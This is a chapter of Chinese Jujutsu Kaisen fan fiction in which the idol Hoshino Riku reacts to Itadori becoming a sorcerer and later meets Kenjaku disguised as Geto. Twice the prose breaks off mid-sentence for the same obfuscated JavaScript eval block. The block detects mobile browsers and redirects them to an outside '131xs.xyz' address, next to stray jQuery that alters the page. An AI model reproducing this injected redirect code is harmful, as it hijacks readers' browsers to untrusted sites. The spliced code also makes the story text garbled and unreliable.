五条悟“吞下所有手指”的提议,其实他是准备选择的,为了完成爷爷那麻烦的遗言,尽力去帮助别人。 但是、但是,他从来也没打算让星野知道这件事啊!!! 【“爷爷把你交给我了。”】 【“要转学去我那边吗?”】 以及刚刚的,【“再失约的话,真的会杀了你。”】 别说接受“吞下二十根手指换来延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442842|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟死刑”这种离谱的提议了,虎杖悠仁怀疑少年在得知此事的第一时间,就会亲自上手死命掐着自己的脖子。 直到把吞下的手指吐出来,或者虎杖悠仁被当场掐死。 对方盯着自己的眼神明显每分每秒都在变得更犀利,虎杖悠仁已经汗流浃背了。 他四处飘飞的眼神无处安放,想要求助又不觉得五条悟能隔着眼罩捕捉自己的微表情,完全忽略了后者一副看好戏的样子。 观赏够了少年的无助,在星野璃空耐心崩溃之前,恶趣味大满足的五条悟大咧咧地一屁股坐到二者之间,一手搂着一个的肩膀,大发慈悲地充当调和者。 “哎呀,这不是Riku酱吗,好久不见!”他一副自来熟的样子,“演唱会状况如何啊?” 星野璃空木着脸:“比起这个,你刚刚对虎杖说——” 五条悟竖起手指,比了一个“噤声”的手势。 “好友之间也会保有秘密的嘛。你的秘密,不也没有告诉悠仁吗?” ——这是,威胁? 星野璃空的瞳孔骤缩一下。但最让他感到痛苦的是,即使已经能展开领域,面对这个人依旧感觉……没有哪怕一丝的胜算。 咒术师,都是这么强的吗? 从来都不是好脾气的类型,他的神情瞬间冷了下来,转而质问一语不发的友人。 “他说的秘密是指?” 星野璃空冷然道,“虎杖,你来说。” 和上次跟五条悟相遇时“柔弱无助普通人”的表现截然不同,少年的态度相当不耐,甚至带着赤裸裸的威胁之感。 这份原形毕露的模样,让五条悟不由颇感兴趣地挑起了眉毛。 另一边的虎杖悠仁只余下苦笑,但形势至此,他也明白这绝不是打着哈哈就能糊弄过去的事情。 ——他做出了自己的选择。 而作为挚友的星野璃空总会知道的,或早或晚。 那么,不如由他本人亲口诉说。此时此刻,就在这里。 虎杖悠仁深深地、深深地吸了一口气。紧接着,用表白一般孤注一掷的气势大吼了出来。 “对不起星野!我、我想完成爷爷的遗愿去为别人做点什么,所以,决定赌上性命去祓除诅咒了!!!” 树荫之间欢快啁啾的雀鸟被吓得冲天而起,身影隐没云端再也不见。 半米之隔的星野璃空被如有实质的震撼内容冲击得微微后仰,蓝紫色的猫眼失神地圆睁着,一眨不眨地注视着他。 半晌之后,少年才找回了自己的声音。 他用艰涩的低声发问:“什么时候的事?” 破罐破摔的虎杖悠仁:“就在昨晚!” 星野璃空怔住,随即恍然:“……啊。” 他明白了。他彻底明白了。 【下手慢的人就将失去一切】。 什么遗愿,什么牺牲,趁着他因演唱会无法脱身的时候,这个恶毒卑鄙令人唾弃的咒术师专程来到仙台,精准抓住虎杖悠仁因亲人去世心防溃败的时机,狠狠给孩子PUA了啊!!! 可怜他从小到大都没跟自己吵过架的幼驯染,因为从小在小城市长大过于天真单纯,就过了区区一个晚上,居然就被这个邪/教人员洗脑到如此程度,嚷嚷着要为了素未谋面的谁谁谁而死了! 他星野璃空有这个待遇吗他请问?!! 于是,虎杖悠仁眼睁睁看着挚友并未像想象中一样崩溃、破防、撒泼,而是一副忍辱负重的神态,像是对待哭闹着要当奥特曼的小孩一样,苦笑着轻而缓地叹了口气。 “你坚持住,虎杖。” 星野璃空在心中飞快盘算,细细梳理着下一步计划,“这周出专辑,接下来是综艺和访谈,等签了合适的公司以后,我的曝光会迎来飞涨;十月到十一月,应该就能筹备小型个人巡回演唱会了。” “到时候,我就从这种荒谬的谎言里把你救出来!” 16.不速之客 之后的访谈节目上,面对主持人“究竟是为什么选择成为偶像”的提问,星野璃空是这么回答的。 “为了让朋友迷途知返。” 完全理解不能的男主持:“……啊?” 一般而言,不都是“因为我从小热爱音乐”“想要展现自己的这份才能”“希望能够得到更多人的喜爱”这样毫无错处的模板化回答吗,迷途知返是什么意思?? “是这样的,”星野璃空认真解释,“我有一个朋友……” * 与此同时,在这课后难得的轻松时光,正聚在一起吃寿喜锅的三人组陷入了沉默。 在榻榻米上支好了桌子,电煮锅里清澈的底汤正咕嘟咕嘟翻滚着泡泡,棕色的香菇和切片的葱白相映成趣,旁边切好的牛肉带着大理石般的精致花纹,安然等待落入沸水之中。 美食诱人,香气缭绕,这样难得的放松时光,当然要开着电视当背景音了啊! 至于看什么节目,伏黑惠表示无所谓,而钉崎野蔷薇和虎杖悠仁达成了难得的一致,开始兴致勃勃地收看某个近日热度飙升偶像的访谈。 钉崎一直都很注重强调自己“潮流美少女”的人设,虽然心底可能完全不在乎,但别人要是嘲笑她老土,那是万万不行的。 她会被这股风潮吸引也无可厚非,甚至连手机铃声都换了,变成了那个偶像出道专辑的主打歌——不知为何,那个铃声每次响起的时候,虎杖的表情都很微妙。 至于虎杖就更奇怪了。他记得对方自我介绍时说喜欢的类型不是詹妮弗·劳伦斯吗,怎么突然对男性偶像这么关注? 于是,在下入第一盘牛肉片的时候,伏黑惠少有地分出一丝精力,到了屏幕里那个有着璀璨眼眸的俊美少年身上。 “在小城市乡下彼此陪伴着长大的幼驯染”? “遭到挚友转学和唯一至亲去世的双重打击”? “被趁虚而入的奇怪宗教分子洗脑变得叛逆”? “现在踪迹不明铁了心要为伟大事业牺牲自己”? 同样来自小地方的钉崎野蔷薇心有戚戚焉,夹了筷牛肉狠狠塞进嘴里,被烫得嘶哈吐气。 “邪/教害人呐!”她灌了一大口凉茶,含糊不清地点评道。 “是因为心灵寄托突然消失了吧,”伏黑惠也不自觉发言,他想起的是从小一同长大的姐姐津美纪,“至亲好友都离开了,所以想依靠点别的东西。” 虎杖悠仁……虎杖悠仁一语不发,游魂一样飘出了室内。 伏黑惠疑惑:“突然怎么了?” 钉崎野蔷薇趁机多夹了筷牛肉,示意他也快吃:“你们男孩子的事我怎么知道,前列腺的问题吧?” 刚刚的访谈不是直播,真正的录制过程应该早就结束了。虎杖悠仁先上社交媒体搜了一下“星野璃空近日日程”,确定没有安排之后,才拨去了电话。 漫长的滴滴声之后,终于被人不紧不慢地接通了。 虎杖悠仁张了张嘴唇,发现自己完全不知道该说什么。 ……你所做的努力,是为了拯救我吗? 但是,正如同五条老师所说,这是我为自己选定的地狱。 在只余彼此呼吸的静寂之中,最终还是虎杖悠仁打起精神,以轻快的语气出声了。 “账号已经有快二十万粉丝了!势头正盛啊,星野!” “……”扶手椅上的星野璃空换了个姿势,略显不耐,“你就想说这个?” 接下来又胡言乱语了一通什么,虎杖自己也不太清楚。他知道对方在访谈上所说的话全部是真心之语,从行走在阳光下之人的角度看来,自己突然间做下的决定确实匪夷所思,但是—— “Riku酱。”他小声问,“如果我放弃的话,又该去做什么呢?” 答案不是明摆着的吗?星野璃空理直气壮地回答:“考上东大,顺利毕业;或者干脆走体育特长,成为运动员?说不定能打破世界纪录呢。” 沉默,依旧是沉默。 从虎杖的沉默以对之中,他也品出了其他意味。 如果星野璃空想要的东西是“成为偶像”,那虎杖悠仁应该也有想要的东西吧。 他的手指不自觉弹动了一下,像是玩弄着缠绕于指尖上的红线,回话之时不自觉流露的那些东西,连星野璃空自己都不太清楚究竟是什么。好奇,讽刺,失望,自嘲? “原来如此。那里能给你想要的东西啊,所以你才会留下。” 他静静地问,“那么,虎杖想要的东西,究竟是什么呢?” 人生此前的十几年中从未展露分毫,突然之间,就有了清晰的形状。 而星野璃空居然对此一无所知。 “我不知道,Riku,我也说不太清……” 初秋的风吹过校舍外的山林,响起簌簌的林涛。并不想一味重复爷爷的叮嘱,虎杖悠仁深吸一口气,给出了这样的回答。 “我想去拯救他人。我想要寻求……正确的死亡。” 再回过神来,电话已经被单方面挂断了。 注视着挂断界面在片刻之后自动跳转回桌面,虎杖悠仁明白,这次恐怕并不是好好道歉就能解决的问题。 “太长时间了吧,虎杖!” “牛肉都要被这家伙吃光了……” 心头的阴霾暂时隐去,他一面笑着不住道歉,一面坐入席间,对着幸存的牛肉狼吞虎咽。 没错。这就是虎杖悠仁为自己选择的,正确的道路。 * 他这样说呢。 是啊,虎杖悠仁就是这样的人。若非如此,也不会对幼时的你—— 并不想在外人面前失态,星野璃空将挂断的电话反扣在桌子上,双眼紧闭,不自觉地深吸一口气。 对面的黑发青年双手袖在袈裟之中,静静打量着他的神情,像是完全察觉不到星野璃空的不快一般,笑眯眯地开口发问。 “被拒绝了对吧?真让人伤心啊。” 揉捏着鼻梁两侧,努力缓解把这个人丢出去的冲动,重新睁开眼睛的时候,星野璃空已经恢复了之前不想多做交谈的冷漠神色。 “与你无关。自称诅咒师的家伙,究竟来做什么?” 星野璃空最近的风头正盛,被经纪人三令五申在外要注意言行,否则失当之处很容易引起舆论风波。 所以,当这个有过一面之缘的家伙出现在眼前,要求“谈一谈”的时候,少年在思考过后,最终选择了一家被经纪人推荐过的会员制餐厅。 能够反锁的包间没有第三个人,进出都有专门的通道,私密性相当好。于是星野璃空也不再多做掩饰,只是试图套出更多的话来。 “只有你我二人,就不必演戏了吧。” 自称“夏油”的诅咒师靠在椅背上,一副老神在在的样子,说实话,这种自认大局在握、神定气闲的模样,星野璃空还挺讨厌的。 “我不仅代表自己而来,同样代表被迫隐匿在暗处的诅咒师。这样像老鼠一样东躲西藏、甚至必须隐藏自己天生的才能,才能避免被当成异类的日子,你不觉得厌倦吗,星野君?” 星野璃空用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451658|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看白痴一般匪夷所思的视线看着他。 “我的账号马上就要二十万粉丝了;第一张专辑销量已经突破五万大关,公司正在制作庆祝海报;接了代言这些就更不必说了;啊,对了,下一步就是筹备个人巡演,东京、大阪、名古屋……粗略估计,会吸引一点二万人次。” 他的言下之意很明显了。 隐藏?躲避?当成异类? 你说谁呢? 拉拢咒灵是一套说辞,拉拢诅咒师当然就是另一套说辞了。此时此刻,僵化套用固定模版的羂索折戟沉沙,不由陷入了短暂的沉默。 他毕竟是两面宿傩时期就诞生的咒术师,加上得到消息就匆匆赶来,忘了做背景调查,失策失策。 之前最新加入的特级咒灵真人告知了“术式被夺”的消息,但不知为何,似乎并不想让漏瑚他们出面报仇,大概是担心对方有专门抢夺咒灵术式的能力。 和【咒灵操术】类似的应用吗?羂索微微提起了点兴趣,但真正下决心前来,还是真人告知了被抢走的术式的信息。 【无为转变】,能够通过触摸改变目标灵魂的形状,从而改变肉/体。 ……这就是羂索为了实现那个宏大的目标,一直等待着的东西。 尴尬的沉默之中,两个人的大脑都在飞快运转。 羂索是在思索要不要干脆舍弃现在这具躯体,毕竟能够改造人类的术式是建立新世界不可或缺的一环。但是【咒灵操术】也是相当强力的术式,面前的少年和咒灵操术夏油杰相比,明显太过弱小。 发展为同伴?还是设法抢回之后,再操控真人呢? 而星野璃空的想法就更简单了,他有自己的光辉事业,和这些成天在阴沟里暗搓搓搞事的老鼠没什么好说的。 “夏油君,”他一字一顿道,“你说你掌握着我绝对会感兴趣的消息,我才会答应见面。” “现在看来,只是浪费彼此的时间罢了。” 星野璃空之前在新干线上见过这个人,和脾气暴躁的火山头咒灵同乘,象征性地安抚了对方。 当时的星野璃空严严实实戴着帽子和口罩,显然,以为他是个普通路人的夏油对那次擦肩而过根本没有印象。 就是因为夏油似乎有点实力,也经常搞事的样子,说不定真能说出点什么干货,星野璃空才会和这个突然冒出的可疑人士坐在这里吃饭。 但现在看来,只是哗众取宠之流罢了。 羂索微微眯起狭长的眼睛,迅速回忆着真人提供的消息、以及先前谈话中流露的点点滴滴。 术式效果与“操控”“支配”相关,通过激烈的爱恨得以实现;能够打开领域,在领域中能够轻易剥夺对方的一切,甚至包括术式。 夏油杰的猴子信徒中有许多富裕之人,或许能够给予你事业上的助力——这样的念头刚刚浮现,就被打消了。 因为只要对方想要,那些都是勾勾手指就能得到的东西吧,只会做得比自己更好。 狐狸一般的黑瞳注视着重新戴上口罩起身的少年,在对方的指尖触及包厢的门把手时,在无数节点之间游移搜索的思绪已将唯一重要之物筛选出来,电光石火之间,选定了那个正确的答案。 “虎杖悠仁,他还没告诉你吗?” 白发的少年身姿显而易见地顿住,随后缓缓转过身来,面无表情,猫眼一眨不眨地直视着他。 羂索温和地笑道:“他吞下了宿傩的手指。” “现在的虎杖悠仁,只是作为‘宿傩’的容器,或早或晚将被咒术界处刑的死人罢了。”